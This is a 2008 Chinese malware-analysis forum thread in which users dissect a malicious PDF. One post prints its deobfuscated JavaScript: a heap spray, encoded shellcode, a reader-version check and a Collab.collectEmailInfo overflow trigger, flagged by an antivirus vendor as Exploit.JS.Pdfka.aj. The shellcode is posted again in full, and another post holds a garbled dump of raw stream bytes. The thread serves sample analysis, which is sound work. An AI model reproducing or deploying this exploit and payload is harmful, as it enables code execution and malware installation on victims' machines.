PDFExpl+召唤

显示全部楼层 · 发表于 2008-11-13 19:27:14

index.pdf ----> pdf exploit
a.pdf.txt --->

index.pdf这段
16 0 obj<</Length 324/Filter[/FlateDecode]>>stream
解压出来的js,有YD的arguments.callee,尝试解密无果..求解

显示全部楼层 · 发表于 2008-11-13 19:35:20

如果解密出来，应该是巨毒的下载地址

显示全部楼层 · 发表于 2008-11-13 19:48:15

来了来了

显示全部楼层 · 发表于 2008-11-13 19:49:24

var f80dryHg = new Array();
function sq5fMuoL(QeB2OcFI, a7_qIAMV)
{
while (QeB2OcFI.length*2<a7_qIAMV) {
QeB2OcFI += QeB2OcFI;
}
QeB2OcFI = QeB2OcFI.substring(0,a7_qIAMV/2);
return QeB2OcFI;
}
function jUoRJUid()
{
var LD7rcyEm = 0x0c0c0c0c;
var XoQrcSnu = unescape("%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%u5d00%uc583%ub914%u0190%u0000%ueeb0%u4530%u4500%u7549%uebf9%u7e00%u7e7e%u7e7e%u7e7e%u077e%uee12%ueeee%u8ab1%ude4f%ueeee%u96ee%u65e2%ue2ae%u9e65%u43f2%u8665%u05e6%u65e7%udaae%uae63%u6592%ud286%u1965%uea84%u06b7%uee61%ueeee%u170c%u8186%uee80%u86ee%u9c9b%u8382%u11ba%u65f8%u0606%uee97%ueeee%u3965%u6ea9%ueed1%u149b%ub9a9%u6ea9%ueed1%u149b%u0165%uddb1%u6f27%uea02%ueeef%u65ee%ubf32%ubdbc%uea86%ueeef%u11ee%ue2b8%ub7b4%ubcbf%uec65%uadbd%ud56e%u9bee%u6f14%u1295%u8bc0%u8b96%ued9b%u056d%u67e6%u29ed%ueaad%u8bc0%u8b96%uad28%ueee6%u64b5%uea2f%u66de%ueeab%u2edd%ubebe%ub9bd%u11be%ufeb8%u166d%u9bee%u84e8%ubdef%ub811%ub4ea%u6db7%uea2c%u6eaf%ueed4%u5a9b%ub811%ubfe6%u65b8%ud29b%u9a65%u96c0%u1bed%u65b8%uce98%u1bed%u27dd%uafa7%ued43%udd2b%ue135%ufe50%u38d4%ue69a%u252f%uede3%uae34%u1f05%uf1d5%u099b%u65b0%ucab0%u33ed%u6588%ua5e2%ub065%uedf2%u6533%u65ea%u2bed%ub045%u2db7%u1106%u1110%u6011%ue0a0%u7602%u6410%u90e0%u0c36%udd9d%u6424%ud8b5%uc1f4%ub69e%ua084%uee9d%u9a86%u9e9a%uc1d4%ud9c1%uc0d7%udddf%uc0db%ud8df%uc0d9%ud6df%u8dc1%u8789%u8cc3%u8087%u87c1%u8a80%u968b%u8dc0%u8789%u88d1%uda8d%udddf%udb8d%udede%udedf%u88de%ud9de%udede%udfdc%udddc%udfdb%u88de%uded8%ud9d8%udfdd%u8ad9%udf8c%ude8a%u8cdc%udbdb%u888f%u8c8a%udedd%udede%udedf%uded6%udeda%udede%udede%udede%udfde%uded9%u00ee");
var HBy2dCNo = 0x400000;
var VcX_EGib = XoQrcSnu.length * 2;
var a7_qIAMV = HBy2dCNo - (VcX_EGib+0x38);
var QeB2OcFI = unescape("%u9090%u9090");
QeB2OcFI = sq5fMuoL(QeB2OcFI, a7_qIAMV);
var vgdtraWv = (LD7rcyEm - 0x400000)/HBy2dCNo;
for (var drx7rg2Y=0;drx7rg2Y<vgdtraWv;drx7rg2Y++) {
f80dryHg[drx7rg2Y] = QeB2OcFI + XoQrcSnu;
}
}
function nrOj7kAX()
{
var F3hMI3OY = app.viewerVersion.toString();
F3hMI3OY = F3hMI3OY.replace(/\D/g,'');
var mPY3MzIU = new Array(
F3hMI3OY.charAt(0),
F3hMI3OY.charAt(1),
F3hMI3OY.charAt(2));
if ((mPY3MzIU[0] == 8 && ((mPY3MzIU[1] == 1 && mPY3MzIU[2] < 2) || mPY3MzIU[1] < 1)) ||
(mPY3MzIU[0] == 7 && mPY3MzIU[1] < 1) ||
(mPY3MzIU[0] < 7)) {
jUoRJUid();
var y6P1p5ep = unescape("%u0c0c%u0c0c");
while(y6P1p5ep.length < 44952) y6P1p5ep += y6P1p5ep;
this.collabStore = Collab.collectEmailInfo({subj: "",msg: y6P1p5ep});
}
}
nrOj7kAX();

复制代码

只解到这层 shellcode貌似没东西..
再看看后面那函数对shellcode做了什么手脚

显示全部楼层 · 发表于 2008-11-13 19:52:55

%u9090%u9090%u9090%u9090%u9090%u00e8%u0000%u5d00%uc583%ub914%u0190%u0000%ueeb0%u4530%u4500%u7549%uebf9%u7e00%u7e7e%u7e7e%u7e7e%u077e%uee12%ueeee%u8ab1%ude4f%ueeee%u96ee%u65e2%ue2ae%u9e65%u43f2%u8665%u05e6%u65e7%udaae%uae63%u6592%ud286%u1965%uea84%u06b7%uee61%ueeee%u170c%u8186%uee80%u86ee%u9c9b%u8382%u11ba%u65f8%u0606%uee97%ueeee%u3965%u6ea9%ueed1%u149b%ub9a9%u6ea9%ueed1%u149b%u0165%uddb1%u6f27%uea02%ueeef%u65ee%ubf32%ubdbc%uea86%ueeef%u11ee%ue2b8%ub7b4%ubcbf%uec65%uadbd%ud56e%u9bee%u6f14%u1295%u8bc0%u8b96%ued9b%u056d%u67e6%u29ed%ueaad%u8bc0%u8b96%uad28%ueee6%u64b5%uea2f%u66de%ueeab%u2edd%ubebe%ub9bd%u11be%ufeb8%u166d%u9bee%u84e8%ubdef%ub811%ub4ea%u6db7%uea2c%u6eaf%ueed4%u5a9b%ub811%ubfe6%u65b8%ud29b%u9a65%u96c0%u1bed%u65b8%uce98%u1bed%u27dd%uafa7%ued43%udd2b%ue135%ufe50%u38d4%ue69a%u252f%uede3%uae34%u1f05%uf1d5%u099b%u65b0%ucab0%u33ed%u6588%ua5e2%ub065%uedf2%u6533%u65ea%u2bed%ub045%u2db7%u1106%u1110%u6011%ue0a0%u7602%u6410%u90e0%u0c36%udd9d%u6424%ud8b5%uc1f4%ub69e%ua084%uee9d%u9a86%u9e9a%uc1d4%ud9c1%uc0d7%udddf%uc0db%ud8df%uc0d9%ud6df%u8dc1%u8789%u8cc3%u8087%u87c1%u8a80%u968b%u8dc0%u8789%u88d1%uda8d%udddf%udb8d%udede%udedf%u88de%ud9de%udede%udfdc%udddc%udfdb%u88de%uded8%ud9d8%udfdd%u8ad9%udf8c%ude8a%u8cdc%udbdb%u888f%u8c8a%udedd%udede%udedf%uded6%udeda%udede%udede%udede%udfde%uded9%u00ee

复制代码

哇 dz不智能换行的啊..

shellcode 复制到剪贴板

显示全部楼层 · 发表于 2008-11-13 19:56:18

shellcode里面有东西的？

显示全部楼层 · 发表于 2008-11-13 20:05:25

咋解的我把原来的eval(Eb1k2W3Ap)改成alert(Eb1k2W3Ap)执行有反应但是输出就没反映了

shellcode貌似也有点bt..
============================
RP问题还是arguments.callee或者....

显示全部楼层 · 发表于 2008-11-13 21:22:29

ÿ~aqd6@YzyGc;0cmw=ppqn0): [}nbpgm~{q4bKsA0Qd>0Ms;Q,]5]>IMU%‹ vdgju0Qd>0Ms;Q.kale„]22;]5]>IMU%yÿ Pa@0_XNI';aZJ2N_DGK | þYeA.MaV>(=Mc@BDkFH*qsrh|rhje&@!i7^mG?]K72(7ÿrdpsp~YeA.MaV>C
yÿnum_rgc(jTkPHe^l(( yÿv`nJT,zcxAkM8x/_.a@X8c: †Vz WkOpsHvu9s~Z{c`lc&2}9/5.#….89/!s7@.8%t5.7@}9/5.#…%8e7!s.@%8%t1b.@}c441#…WA13!s.A.8%t,..@}ed^.#…)=3/!s2E%8%t332I}eab7#…,m0/!s5u,m%t3c5u}7d3c#…%?7d!scu&:%taccu}8`^/#…Ym4e!scuZm%t54cu}64a0#…Z:ad!s7u+=%t01dB}8523#…%=e5!s4EZ?%t`__u}ad21#…+=91!sbB->%t-74E}e`42#…%>b6!scu+9%taccu}16,a#…-985!scu-8%t44cu}9b5`#…-;81!s/AWi%t23dH}05,4#…Zm96!scuZm%t/74E}6d]7#…Zmd0!s/D.j%t^7_I}6d]7#…Zmd0!s/D.j%t,/4E}dc^/#…+n26!scq%:%taccv}64ac#…Wn31!s`tWk%ta_6F}edad#…&9ed!scBW@%t^5`D}bb^d#…Zk64!s_tWl%t`34u}9aac#…+n13!s/B.=%t4`a@}8a54#…Zl9a!s.E+l%t25cF}28ab#…Ziac!s6rX8%t4`7F}ac.6#…Zme5!s4DW=%ta_0v}65`c#…Zmaa!s0uYl%t^c`u}b8^b#…&9bd!sduW@%t-44t}9aac#…-<e7!s`tZn%t^6/A}b3a_#…+lb6!scq'k%t2c_v}ed`2#…*i9a!s`H&9%t^dcF}64^6#…Y:9a!s7q+=%t54a@}1aab#…+=b7!sau.@%t-`ct}26`b#…Vna6!sct);%t`b0r}e0/3#…[m5/!s1HY<%ta47q}24.d#…Zle2!s_u(<%t-d.E}f0`3#…%A9a!s4EW8%t__`@}32ab#…+=87!s_EZ:%t^.4E}ecb0#…+=32!s4EZi%t.`ct}b/03#…'lb6!s/A%>%t-//@}6/-/#…Z8a/!s5F%:%t22/@}9/a.#…%k35!sbt.l%t220D}d7^3#…X9f3!s`F.m%t].6D}ed5b#….i85!s7u.i%t_/bD}d8_/#…X8d6!sbtYn%t_.br}d7`d#…X8d8!sbFYn%t4baA}8647#…-kc2!s6@-?%t45aA}8`4.#….>8a!s6tX8%t456I}87`/#…Yi8c!sbtYn%t``6t}dd`c#…Ymde!s6HYm%t`7bu}dd`c#…Yndb!sbtYk%t`dbr}87`c#…Ymd7!sbIY@%t`dbt}8``7#…Yn8b!sbu-i%t4abs}da``#…-@8e!s6s-i%t`cbt}dd`c#…Ymde!sbuY>%t`cbq}dd`c#…Ymdd!sbuYm%t`dbu}dd`7#…%8ed'9ÿv`nFRn:dBJmM8x3,..@%C
t_‚^cW[CEyW(=TmO‚X[nt*jc~\|h&0K u]pq,gqH=KT02(HAu0bSCw ,&TsMgEFe`)@m;8(7kirMc@BDkFH;…cmsb]nc8-u8,7.5jA08, 'K
OcR'WcEE;0hy5eIsm\YeA.MaV>4 `3]oY6UV(7kirreb„giWu;8AL7q_wC}5 /t2.@%80(+F@‰'lCMk9þ
bmp0~aqbpˆ,zg1U;.KYzx6ne0i1~gcpp_gkCdqt5pw'a+*%yÿ e4.b‚nPgZ`pvGgo2XY;0FmB1KaDY3 WkOpsHvu: }vjvcseml0czOi3i?h1
wkirB1f]>;OX;qex.uecuug^eqogm~#|oRppg~\0): V(pMH/MW02(F2dKGCDa.qanjqXm(.XB-w!/'(7ÿ
r_p0bXY2IxGeE mauQgzax$þN3gIG1_N6cg]p?„8)+ ;;hLE1Mi#kh`n?r8&1,V(pMH/MW>Xpaq=r&B1;ÿie&&}Ea3LvGSk%e <960. '$kNi(UzHQY/mE=-$6uPX/KxYJc2\:B(|{kNi(UzHQY/mD 0%'Œq
0uPX/KxYJc0\;;0,(&%kNi(UzHQY/mD 0%zŒ 8bXY2IxGeP8]859({zJwRIQgb8C
tqg(y5L/nEZx <sluhkaoa& 5j8c/_#s@X8c!%9þwgejc8n>P0l3c€#temcrf01(4353096O-n3ue(+<w4`&x5dl9þtgeq,sdtl`^Qrgm <Am|aib-_mj|ZktDi_g|>vfn$yq…Wr: *}ho:u4NAe=eoy'9ÿ}{nqKh5{6`((7

显示全部楼层 · 发表于 2008-11-16 10:41:26

明白了，malzilla可解。
但，也就解到4楼5楼那步。。。

显示全部楼层 · 发表于 2008-11-16 11:52:31

已被卡巴入库！

Kaspersky Lab
拒绝访问
无法返回请求的网页

试图访问的网页：

http://bbs.kafan.cn/attachment.php?aid=
398167&k=f5c48c24656efd1e102e54bf99c0802
3&t=1226807498

发生下列错误：

请求的对象被感染，发现下列病毒 Exploit.JS.Pdfka.aj

如有疑问，请联系您的技术支持
创建日期：
Sun Nov 16 11:53:52 2008
Kaspersky Lab

[可疑文件] PDFExpl+召唤

本帖子中包含更多资源

回复 4楼 jimmyleo 的帖子

玩不转。。。这出了些什么啊。。。